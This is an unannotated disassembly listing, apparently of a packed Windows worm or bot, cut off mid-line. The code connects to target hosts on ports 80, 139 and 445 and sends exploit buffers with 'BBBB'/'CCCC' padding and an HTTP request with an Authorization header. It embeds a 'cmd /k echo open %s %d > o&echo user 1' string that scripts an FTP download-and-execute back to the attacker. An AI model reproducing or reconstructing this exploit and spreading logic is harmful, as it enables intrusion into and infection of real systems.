sub_41CAE0 add esp, 0Ch push dword ptr [esi] call sub_41B881 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C812: ; CODE XREF: sub_40C792+2Cj pop edi pop esi pop ebx retn sub_40C792 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C816 proc near ; CODE XREF: sub_40C94C+89p ; sub_40C94C+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4CDB1C call sub_40C724 lea ecx, [ebp+var_8] call sub_40C792 mov eax, [ebp+var_4] inc eax push eax call sub_41BCA5 mov edi, eax pop ecx test edi, edi jnz short loc_40C850 xor al, al jmp short loc_40C88C ; --------------------------------------------------------------------------- loc_40C850: ; CODE XREF: sub_40C816+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BD60 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call near ptr sub_41CAE0 add esp, 18h mov ecx, esi call sub_40C779 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C779 mov al, 1 loc_40C88C: ; CODE XREF: sub_40C816+38j pop edi pop esi leave retn sub_40C816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C890 proc near ; CODE XREF: sub_40C8C4+14p ; sub_40C8E1+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C724 mov ecx, esi call sub_40C779 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40C890 endp ; =============== S U B R O U T I N E ======================================= sub_40C8C4 proc near ; CODE XREF: sub_40C94C+F0p ; sub_40C94C+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B7B0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40C890 pop esi retn 4 sub_40C8C4 endp ; =============== S U B R O U T I N E ======================================= sub_40C8E1 proc near ; CODE XREF: sub_40C92D+Bp ; sub_40C94C+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40C890 retn 8 sub_40C8E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8F1 proc near ; CODE XREF: sub_40C92D+16p ; sub_40C94C+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C792 test al, al jz short loc_40C92A push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42DF84 call sub_40C724 mov ecx, esi call sub_40C779 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40C92A: ; CODE XREF: sub_40C8F1+Fj pop esi leave retn sub_40C8F1 endp ; =============== S U B R O U T I N E ======================================= sub_40C92D proc near ; CODE XREF: sub_40C94C+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40C8E1 test al, al jz short loc_40C948 mov ecx, esi call sub_40C8F1 loc_40C948: ; CODE XREF: sub_40C92D+12j pop esi retn 8 sub_40C92D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C94C proc near ; CODE XREF: .packed:0040D1C5p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C6E0 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CC90 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CC90 push esi lea ecx, [ebp+var_30] call sub_40C6E0 lea ecx, [ebp+var_20] call sub_40C6E0 lea ecx, [ebp+var_50] call sub_40C6E0 lea ecx, [ebp+var_18] call sub_40C6E0 lea ecx, [ebp+var_40] call sub_40C6E0 lea ecx, [ebp+var_38] call sub_40C6E0 lea ecx, [ebp+var_28] call sub_40C6E0 push 4 push offset dword_433414 lea ecx, [ebp+var_30] call sub_40C890 push 3 push offset dword_43341C lea ecx, [ebp+var_30] call sub_40C890 lea ecx, [ebp+var_30] call sub_40C816 lea ecx, [ebp+var_30] call sub_40C8F1 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BD60 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40C890 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40C890 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40C890 lea ecx, [ebp+var_20] call sub_40C816 push offset loc_4337A4 lea ecx, [ebp+var_50] call sub_40C8C4 lea ecx, [ebp+var_50] call sub_40C816 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C6EA lea ecx, [ebp+var_58] call sub_40C816 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40C92D lea ecx, [ebp+var_58] call sub_40C779 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BD60 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40C8C4 push 4 push offset dword_433420 lea ecx, [ebp+var_18] call sub_40C890 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40C890 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40C890 lea ecx, [ebp+var_18] call sub_40C816 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40C8E1 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40C8E1 lea ecx, [ebp+var_40] call sub_40C8F1 lea ecx, [ebp+var_18] call sub_40C779 lea ecx, [ebp+var_50] call sub_40C779 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40C8E1 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40C8E1 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40C8E1 lea ecx, [ebp+var_38] call sub_40C8F1 lea ecx, [ebp+var_20] call sub_40C779 lea ecx, [ebp+var_30] call sub_40C779 lea ecx, [ebp+var_40] call sub_40C779 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40C890 lea ecx, [ebp+var_28] call sub_40C816 push 2 push offset dword_433798 lea ecx, [ebp+var_28] call sub_40C890 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40C8E1 lea ecx, [ebp+var_28] call sub_40C8F1 lea ecx, [ebp+var_38] call sub_40C779 lea ecx, [ebp+var_10] call sub_40C6E0 lea ecx, [ebp+var_8] call sub_40C6E0 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40C8E1 lea ecx, [ebp+var_10] call sub_40C792 lea ecx, [ebp+var_28] call sub_40C779 push offset dword_433794 lea ecx, [ebp+var_8] call sub_40C8C4 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40C8E1 lea ecx, [ebp+var_8] call sub_40C792 lea ecx, [ebp+var_10] call sub_40C779 push offset dword_433790 lea ecx, [ebp+var_10] call sub_40C8C4 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40C8E1 lea ecx, [ebp+var_10] call sub_40C792 lea ecx, [ebp+var_8] call sub_40C779 push offset dword_433784 lea ecx, [ebp+var_8] call sub_40C8C4 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40C8E1 lea ecx, [ebp+var_8] call sub_40C792 lea ecx, [ebp+var_10] call sub_40C779 push (offset loc_43377F+1) lea ecx, [ebp+var_48] call sub_40C8C4 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40C8E1 lea ecx, [ebp+var_8] call sub_40C779 pop esi loc_40CC90: ; CODE XREF: sub_40C94C+1Bj ; sub_40C94C+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_40C94C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCA2 proc near ; CODE XREF: sub_40CD66+A2p ; sub_40CD66+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_428228 ; select cmp eax, edi jnz short loc_40CD09 lea eax, [ebp+var_10C] push eax push esi call sub_426FF6 ; __WSAFDIsSet test eax, eax jnz short loc_40CD0D loc_40CD09: ; CODE XREF: sub_40CCA2+54j xor eax, eax jmp short loc_40CD1D ; --------------------------------------------------------------------------- loc_40CD0D: ; CODE XREF: sub_40CCA2+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CDC7C ; recv loc_40CD1D: ; CODE XREF: sub_40CCA2+69j pop edi pop esi leave retn sub_40CCA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD21 proc near ; CODE XREF: sub_40CD66+80p ; sub_40CD66+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CDC60 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CDCB4 ; send cmp eax, 4 jz short loc_40CD4B xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CD4B: ; CODE XREF: sub_40CD21+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CDCB4 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CD21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD66 proc near ; CODE XREF: sub_40CE45+48p ; .packed:0040D2B6p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BCA5 mov esi, eax pop ecx test esi, esi jnz short loc_40CD8F xor al, al jmp loc_40CE40 ; --------------------------------------------------------------------------- loc_40CD8F: ; CODE XREF: sub_40CD66+20j push ebx push 0 push esi call sub_41BD60 push 2Fh push offset dword_4334B0 push esi call near ptr sub_41CAE0 push 8 lea eax, [esi+31h] push offset dword_4334E0 push eax mov [esi+2Fh], di call near ptr sub_41CAE0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call near ptr sub_41CAE0 push 6 add ebx, edi push offset dword_4D0968 push ebx call near ptr sub_41CAE0 push 85h push offset dword_433428 push [ebp+arg_0] call sub_40CD21 add esp, 48h test al, al jnz short loc_40CDF6 loc_40CDF2: ; CODE XREF: sub_40CD66+B8j xor bl, bl jmp short loc_40CE37 ; --------------------------------------------------------------------------- loc_40CDF6: ; CODE XREF: sub_40CD66+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40CCA2 push [ebp+var_4] push esi push [ebp+arg_0] call sub_40CD21 add esp, 1Ch test al, al jz short loc_40CDF2 push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40CCA2 add esp, 10h mov bl, 1 loc_40CE37: ; CODE XREF: sub_40CD66+8Ej push esi call sub_41B881 pop ecx mov al, bl loc_40CE40: ; CODE XREF: sub_40CD66+24j pop edi pop esi pop ebx leave retn sub_40CD66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE45 proc near ; CODE XREF: .packed:0040D29Cp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_4334F0 push [ebp+arg_0] call dword_428224 ; send cmp eax, 48h jnz short loc_40CE80 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CCA2 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40CE80 cmp [ebp+var_20], 82h jz short loc_40CE84 loc_40CE80: ; CODE XREF: sub_40CE45+1Bj ; sub_40CE45+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CE84: ; CODE XREF: sub_40CE45+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CD66 add esp, 0Ch leave retn sub_40CE45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE97 proc near ; CODE XREF: sub_40CEE3+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_428698 call sub_41CF68 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_428690 fstp [esp+10h+var_10] call sub_41CE49 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41CF68 inc eax leave retn sub_40CE97 endp ; =============== S U B R O U T I N E ======================================= sub_40CEE3 proc near ; CODE XREF: sub_40D082+24p var_40 = qword ptr -40h mov eax, offset loc_427697 call sub_41D434 sub esp, 2Ch push ebx push esi push edi xor edi, edi mov [ebp-20h], edi mov al, [ebp+13h] push edi lea ecx, [ebp-38h] mov [ebp-38h], al call sub_40D515 push dword ptr [ebp+10h] xor ebx, ebx inc ebx mov [ebp-4], ebx call sub_40CE97 cmp [ebp-2Ch], eax pop ecx jnb short loc_40CF25 push edi push eax lea ecx, [ebp-38h] call sub_40D48F loc_40CF25: ; CODE XREF: sub_40CEE3+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D043 mov ebx, [ebp+10h] loc_40CF34: ; CODE XREF: sub_40CEE3+157j cmp dword ptr [ebp+10h], 3 jb short loc_40CF3F push 3 loc_40CF3C: ; CODE XREF: sub_40CEE3+64j pop ebx jmp short loc_40CF52 ; --------------------------------------------------------------------------- loc_40CF3F: ; CODE XREF: sub_40CEE3+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40CF49 push 2 jmp short loc_40CF3C ; --------------------------------------------------------------------------- loc_40CF49: ; CODE XREF: sub_40CEE3+60j cmp dword ptr [ebp+10h], 1 jnz short loc_40CF52 xor ebx, ebx inc ebx loc_40CF52: ; CODE XREF: sub_40CEE3+5Aj ; sub_40CEE3+6Aj mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4286A0 fstp [esp+40h+var_40] call sub_41CF8F pop ecx pop ecx call sub_41CF68 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40CF91 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40CF91: ; CODE XREF: sub_40CEE3+94j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40CFFF add [ebp-18h], eax loc_40CFE3: ; CODE XREF: sub_40CEE3+11Aj movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_433540[eax] push eax push 1 call sub_40D310 inc esi cmp esi, [ebp-1Ch] jb short loc_40CFE3 loc_40CFFF: ; CODE XREF: sub_40CEE3+FBj cmp dword ptr [ebp-18h], 48h jb short loc_40D01D push dword ptr [ebp+14h] call sub_41B7B0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D36A mov [ebp-18h], edi loc_40D01D: ; CODE XREF: sub_40CEE3+120j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D037 sub esi, [ebp-1Ch] loc_40D028: ; CODE XREF: sub_40CEE3+152j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D310 dec esi jnz short loc_40D028 loc_40D037: ; CODE XREF: sub_40CEE3+140j cmp [ebp+10h], edi ja loc_40CF34 xor ebx, ebx inc ebx loc_40D043: ; CODE XREF: sub_40CEE3+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D515 push 0FFFFFFFFh lea eax, [ebp-38h] push edi push eax mov ecx, esi call sub_40D3C2 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D515 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40CEE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D082 proc near ; CODE XREF: .packed:0040D27Fp mov eax, offset loc_4276B4 call sub_41D434 sub esp, 10h push ebx push esi push edi push offset byte_43FE14 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40CEE3 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BCA5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D0CC xor bl, bl jmp short loc_40D110 ; --------------------------------------------------------------------------- loc_40D0CC: ; CODE XREF: sub_40D082+44j mov ecx, [ebp-18h] mov eax, offset dword_4286A8 cmp ecx, ebx jnz short loc_40D0DA mov ecx, eax loc_40D0DA: ; CODE XREF: sub_40D082+54j cmp [ebp+18h], ebx jz short loc_40D0E2 mov eax, [ebp+18h] loc_40D0E2: ; CODE XREF: sub_40D082+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C150 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CDCB4 ; send cmp eax, esi jz short loc_40D107 xor bl, bl jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D107: ; CODE XREF: sub_40D082+7Fj mov bl, 1 loc_40D109: ; CODE XREF: sub_40D082+83j push edi call sub_41B881 pop ecx loc_40D110: ; CODE XREF: sub_40D082+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D515 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D515 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D082 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_4336F0 push eax call near ptr sub_41CAE0 add esp, 0Ch mov eax, offset byte_42A10C push eax push eax movzx eax, word ptr dword_4CD998 push eax push dword ptr [ebp+8] call sub_40AB14 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41C150 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_433588 push eax call sub_40C94C xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D1DB xor eax, eax jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D1DB: ; CODE XREF: .packed:0040D1D2j mov [ebp-0Ch], esi loc_40D1DE: ; CODE XREF: .packed:0040D2DEj test esi, esi jnz loc_40D2E4 push 6 push 1 push 2 call dword_428220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D2CC xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CDC64 ; ntohs mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CDCA4 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CDC0C ; connect cmp eax, 0FFFFFFFFh jz loc_40D2C1 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D289 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D515 lea eax, [ebp+0Ch] push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D54D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D082 add esp, 1Ch jmp short loc_40D2BE ; --------------------------------------------------------------------------- loc_40D289: ; CODE XREF: .packed:0040D247j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D2A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CE45 jmp short loc_40D2BB ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: .packed:0040D293j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D2C1 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CD66 loc_40D2BB: ; CODE XREF: .packed:0040D2A1j add esp, 0Ch loc_40D2BE: ; CODE XREF: .packed:0040D287j movzx esi, al loc_40D2C1: ; CODE XREF: .packed:0040D23Aj ; .packed:0040D2ADj push ebx call dword_4CDCFC ; closesocket test esi, esi jnz short loc_40D2D7 loc_40D2CC: ; CODE XREF: .packed:0040D1F7j push 3E8h call dword_428064 ; Sleep loc_40D2D7: ; CODE XREF: .packed:0040D2CAj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D1DE loc_40D2E4: ; CODE XREF: .packed:0040D1E0j lea ecx, [ebp-8] call sub_40C779 test esi, esi jz short loc_40D301 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] loc_40D301: ; CODE XREF: .packed:0040D2EEj mov eax, esi loc_40D303: ; CODE XREF: .packed:0040D1D6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427678 loc_40D308: ; CODE XREF: sub_427678+3j ; .packed:00427691j ... push 1 call sub_40D515 retn ; END OF FUNCTION CHUNK FOR sub_427678 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D310 proc near ; CODE XREF: sub_40CEE3+111p ; sub_40CEE3+14Cp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_40D327 call sub_426CA0 loc_40D327: ; CODE XREF: sub_40D310+10j cmp [ebp+arg_0], 0 jbe short loc_40D362 mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_40D48F test al, al jz short loc_40D362 movsx eax, [ebp+arg_4] push [ebp+arg_0] push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BD60 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D362: ; CODE XREF: sub_40D310+1Bj ; sub_40D310+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40D310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D36A proc near ; CODE XREF: sub_40CEE3+132p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_40D381 call sub_426CA0 loc_40D381: ; CODE XREF: sub_40D36A+10j cmp [ebp+arg_4], 0 jbe short loc_40D3BA mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_40D48F test al, al jz short loc_40D3BA push [ebp+arg_4] mov eax, [esi+8] add eax, [esi+4] push [ebp+arg_0] push eax call near ptr sub_41CAE0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D3BA: ; CODE XREF: sub_40D36A+1Bj ; sub_40D36A+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40D36A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3C2 proc near ; CODE XREF: sub_40CEE3+179p ; sub_426CFA+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D3DA call sub_426ECC loc_40D3DA: ; CODE XREF: sub_40D3C2+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D3EC mov esi, [ebp+arg_8] loc_40D3EC: ; CODE XREF: sub_40D3C2+25j cmp edi, ebx jnz short loc_40D40A add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_40D582 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D582 jmp short loc_40D486 ; --------------------------------------------------------------------------- loc_40D40A: ; CODE XREF: sub_40D3C2+2Cj test esi, esi jbe short loc_40D44D cmp esi, eax jnz short loc_40D44D mov eax, [ebx+4] test eax, eax jnz short loc_40D41E mov eax, offset dword_4286A8 loc_40D41E: ; CODE XREF: sub_40D3C2+55j cmp byte ptr [eax-1], 0FEh jnb short loc_40D44D push 1 mov ecx, edi call sub_40D515 mov eax, [ebx+4] test eax, eax jnz short loc_40D439 mov eax, offset dword_4286A8 loc_40D439: ; CODE XREF: sub_40D3C2+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D486 ; --------------------------------------------------------------------------- loc_40D44D: ; CODE XREF: sub_40D3C2+4Aj ; sub_40D3C2+4Ej ... push 1 push esi mov ecx, edi call sub_40D48F test al, al jz short loc_40D486 mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_40D46A mov eax, offset dword_4286A8 loc_40D46A: ; CODE XREF: sub_40D3C2+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call near ptr sub_41CAE0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D486: ; CODE XREF: sub_40D3C2+46j ; sub_40D3C2+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D3C2 endp ; =============== S U B R O U T I N E ======================================= sub_40D48F proc near ; CODE XREF: sub_40CEE3+3Dp ; sub_40D310+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D4A1 call sub_426CA0 loc_40D4A1: ; CODE XREF: sub_40D48F+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_40D4C9 mov cl, [eax-1] cmp cl, dl jz short loc_40D4C9 cmp cl, 0FFh jz short loc_40D4C9 cmp edi, edx mov ecx, esi jnz short loc_40D508 dec byte ptr [eax-1] push edx loc_40D4C0: ; CODE 